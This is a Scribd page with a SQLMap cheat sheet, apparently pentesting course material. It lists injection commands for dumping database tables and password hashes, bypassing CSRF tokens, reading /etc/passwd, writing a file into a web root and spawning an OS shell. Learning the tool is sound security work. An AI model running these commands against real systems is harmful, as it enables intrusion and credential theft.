Scribd
Upload
15 views3 pages

Sqlmap Essentials Module Cheat Sheet

This document is a cheat sheet for SQLMap, providing a list of commands and their descriptions for various SQL injection tasks. It includes commands for running SQLMap, making GET and POST requests, enumerating databases and tables, and performing file operations. The cheat sheet serves as a quick reference for users to efficiently utilize SQLMap's capabilities.

Uploaded by

physicsloverspecial948
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
15 views3 pages

Sqlmap Essentials Module Cheat Sheet

This document is a cheat sheet for SQLMap, providing a list of commands and their descriptions for various SQL injection tasks. It includes commands for running SQLMap, making GET and POST requests, enumerating databases and tables, and performing file operations. The cheat sheet serves as a quick reference for users to efficiently utilize SQLMap's capabilities.

Uploaded by

physicsloverspecial948
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

SQLMAP ESSENTIALS

CHEAT SHEET
Command Description

sqlmap -h View the basic help


menu

sqlmap -hh View the advanced help


menu

sqlmap -u "[Link] -- Run SQLMap without


batch asking for user input

sqlmap '[Link] --data SQLMap with POST


'uid=1&name=test' request

sqlmap '[Link] --data POST request specifying


'uid=1*&name=test' an injection point with an
asterisk

sqlmap -r [Link] Passing an HTTP


request file to SQLMap

sqlmap ... -- Specifying a cookie


cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c' header

sqlmap -u [Link] --data='id=1' --method PUT Specifying a PUT


request

sqlmap -u "[Link] -- Store traffic to an output


batch -t /tmp/[Link] file

sqlmap -u "[Link] -v 6 Specify verbosity level


--batch
Command Description

sqlmap -u "[Link]/?q=test" --prefix="%'))" - Specifying a prefix or


-suffix="-- -" suffix

sqlmap -u [Link]/?id=1 -v 3 --level=5 Specifying the level and


risk

sqlmap -u "[Link] --banner -- Basic DB enumeration


current-user --current-db --is-dba

sqlmap -u "[Link] --tables -D Table enumeration


testdb

sqlmap -u "[Link] --dump -T Table/row enumeration


users -D testdb -C name,surname

sqlmap -u "[Link] --dump -T Conditional enumeration


users -D testdb --where="name LIKE 'f%'"

sqlmap -u "[Link] --schema Database schema


enumeration

sqlmap -u "[Link] --search -T Searching for data


user

sqlmap -u "[Link] --passwords Password enumeration


--batch and cracking

sqlmap -u "[Link] -- Anti-CSRF token bypass


data="id=1&csrf-
token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-
token="csrf-token"

sqlmap --list-tampers List all tamper scripts

sqlmap -u "[Link] -- Check for DBA privileges


is-dba

sqlmap -u "[Link] --file-read Reading a local file


"/etc/passwd"

sqlmap -u "[Link] --file-write Writing a file


"[Link]" --file-dest "/var/www/html/[Link]"

sqlmap -u "[Link] --os-shell Spawning an OS shell

You might also like